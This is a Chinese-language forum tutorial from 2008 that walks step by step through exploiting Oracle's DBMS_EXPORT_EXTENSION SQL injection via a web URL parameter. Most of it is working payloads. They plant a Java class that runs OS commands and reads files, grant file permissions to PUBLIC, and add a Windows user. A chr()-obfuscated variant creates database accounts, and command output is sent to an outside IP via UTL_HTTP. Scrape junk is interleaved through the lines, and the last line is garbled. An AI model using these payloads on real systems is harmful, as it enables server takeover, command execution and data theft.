以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ( p; F5 S- j! ?! _
9 w% ?: I: e5 g; ~1 {0 G
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
# C9 G! I7 N) g" k9 _/ x, L的形式即可。(用" 'a'|| "是为了让语句返回true值)
% ?; c7 ]+ A" w! S( ~- C语句有点长,可能要用post提交。
" ?1 P$ d+ T7 m5 e以下是各个步骤:
) X: Q7 o! a0 T5 ?' \8 m1.创建包 : L* c c5 a, @; k( d
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
8 Z" n5 I& d4 t, V/xxx.jsp?id=1 and '1'<>'a'||(
+ }4 F# R2 w% V3 W' `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# Q. P+ Q6 l u+ Vcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
; X" m: `/ K6 a5 tnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 m3 a+ z' E" { ?}'''';END;'';END;--','SYS',0,'1',0) from dual
) o1 T3 p! z1 Z- O- G/ G)
0 k$ f0 d" n8 f; A5 U3 `* r------------------------
5 M) c! G. V( J. s3 L* t8 {2 d4 r如果url有长度限制,可以把readFile()函数块去掉,即: 4 z9 a9 v# I% C' Q$ K; \! J
/xxx.jsp?id=1 and '1'<>'a'||( + R8 D, ~& d j( h4 b) F/ N+ r* [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) r0 ^! U* K9 U1 j' o0 t" ucreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(1 [. j' ~; B: b; H& P4 P! X1 P
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
9 k$ s6 ^/ ^' b, ]9 B+ [- B}'''';END;'';END;--','SYS',0,'1',0) from dual
1 C9 |. s2 R0 C8 L8 z* j/ [4 u) , |( e" O0 R# g/ B8 n
同时把后面步骤 提到的 对readFile()的处理语句去掉。 9 G% W; ?& K$ P& W/ a
------------------------------
0 A+ M3 G# _: Z1 |# b& ?2.赋Java权限 $ A! m$ d1 Q7 T% x% M$ [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual1 F) t; r0 ?. Z. h
3.创建函数
9 W+ a- z1 Z9 m* l# M1 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ ~. ]' m% G4 q* n5 ^create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual3 y+ m; w# D# p' j3 ~- M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 G# I/ Y9 I) Gcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual, O s2 u U# r5 D v" J g8 n
4.赋public执行函数的权限
4 R" E5 h* e! B' y) |; J$ L" tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
+ T9 R5 q+ @ Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
8 J% e! \2 j* U) W/ e/ L1 d5.测试上面的几步是否成功 8 }% y- x5 E' \- e( A
and '1'<>'11'||( # B( J" o1 ]- u* e T; ~( T4 @
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' # m6 Z$ I3 ]+ a) s$ T* d
)
' ]8 y9 R* b" t7 a% Hand '1'<>(
/ E1 p- q/ ]" [) h8 v' i7 oselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
( l8 Z: M3 P% V- L' l)
* t* K; L+ H& Q& d' d$ W6.执行命令:
s8 ~6 {# }$ O% o1 _& W. y9 I/ ]/xxx.jsp?id=1 and '1'<>( ; ~3 R) ~. f; u7 k. W
select sys.LinxRunCMD('cmd /c net user linx /add') from dual . |8 p6 q& U, ~) c# c% L! @( n8 L
* W( I c4 Z+ V, V)
% _% x6 j; d; ~! w* K/xxx.jsp?id=1 and '1'<>(
/ @5 _6 v/ c. ]9 bselect sys.LinxReadFile('c:/boot.ini') from dual9 Q6 W( z* L9 {9 }
8 @1 G7 L5 Y w2 P
)
8 k% d1 c9 T5 @% |* [
" R( p' w7 u) _# K8 [; t注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
* p/ X$ X0 B& d9 b: G l- J7 \如果要查看运行结果可以用 union : ) o2 P9 q/ B( C, @; X! R
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual \9 |" A) z" ^) ^; H( }5 ?
或者UTL_HTTP.request(: 5 Y3 K) d r6 }! W1 R
/xxx.jsp?id=1 and '1'<>( 7 k Z& y9 ~4 ^! j3 W% J4 r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual/ o" D; @0 n* o3 E8 l" w
) 5 a1 r9 t6 p9 h" z5 d) d- ^
/xxx.jsp?id=1 and '1'<>(
4 p" b P9 E: x" z1 CSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual5 H8 u* K+ O9 j( {6 ]% L
)
/ H! `# ~1 {* ^! v8 y2 e( J$ b. e注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。9 C! v* w E2 s. ?- J) P3 ^
--------------------
* b" R0 l4 A# U6 K6 u6 E) J6.内部变化
: h+ ^; j" w# f s: }$ f7 z通过以下命令可以查看all_objects表达改变: # M2 J3 Q" H3 m$ a; G
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'" r5 A& n/ S6 E2 e7 N7 v. K
7.删除我们创建的函数
, w) y7 E1 w0 F7 Q5 ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' I" |6 e! h% Y, C' R Q
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
# k' e& G* R5 J- M' c" H4 `====================================================
: Q: P/ [; a) G5 T& g% l# O全文结束。谨以此文赠与我的朋友。 - t; D" p6 J6 P) O' P
linx
1 u5 f* ?/ _* b7 W124829445 ( g- |! H7 L$ v$ t3 x4 _: `' n
2008.1.12 1 l2 ^' {6 f* z ^
linyujian@bjfu.edu.cn
/ d$ p! k" i( G2 A3 {======================================================================
9 j; [+ c; V6 t( F测试漏洞的另一方法:
2 \) a/ n. G+ }+ Y创建oracle帐号: 6 z3 x1 U7 i& ^0 E0 g: C5 i5 J/ J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 e5 R3 }7 ~: c) E
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
6 R- V5 I) i$ T9 W. L, w即:
g, X9 u: A! _0 [% b* s' Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),0 T0 t) @0 m: C, d8 O7 S
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
# H1 V0 d& X+ S, k确定漏洞存在:
+ I) {) T5 c) M- l6 g( J+ c1<>(
, x9 o' o) D9 {) [* B0 _select user_id from all_users where username='LINXSQL' : d6 y) B' _3 U. j/ i6 N- p
)
& L- ?7 X& Z& R给linxsql连接权限: 9 S' L* w# y. T/ g# O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- b" W* O' ^) X# m9 q+ V- t- IGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ) X6 T; `: W( l: d# O8 N7 m' g
删除帐号: ' r# C( m8 J. k8 y3 ~" a- R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" U. Z/ t/ A- E9 |$ J& d
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual : ?% B) }1 I7 n
======================
: _# Q5 N- m) ^+ [1 x以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:; M3 ?- w6 U0 M+ g
1.jsp?id=1 and '1'<>( ! I7 i1 D! G1 a$ p0 _: r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% p: {# f' l- D6 |& b) J" `
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
0 Y- ~4 `! _' ?* q/ Q9 [+ ^) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE) j# c7 X& C2 S) G
)
( l/ P( z1 o7 k7 \
* g8 _, T3 p; ^+ u6 ?- ^0 |2 }) V# [& h5 }
6 C3 D# J! z# _3 K |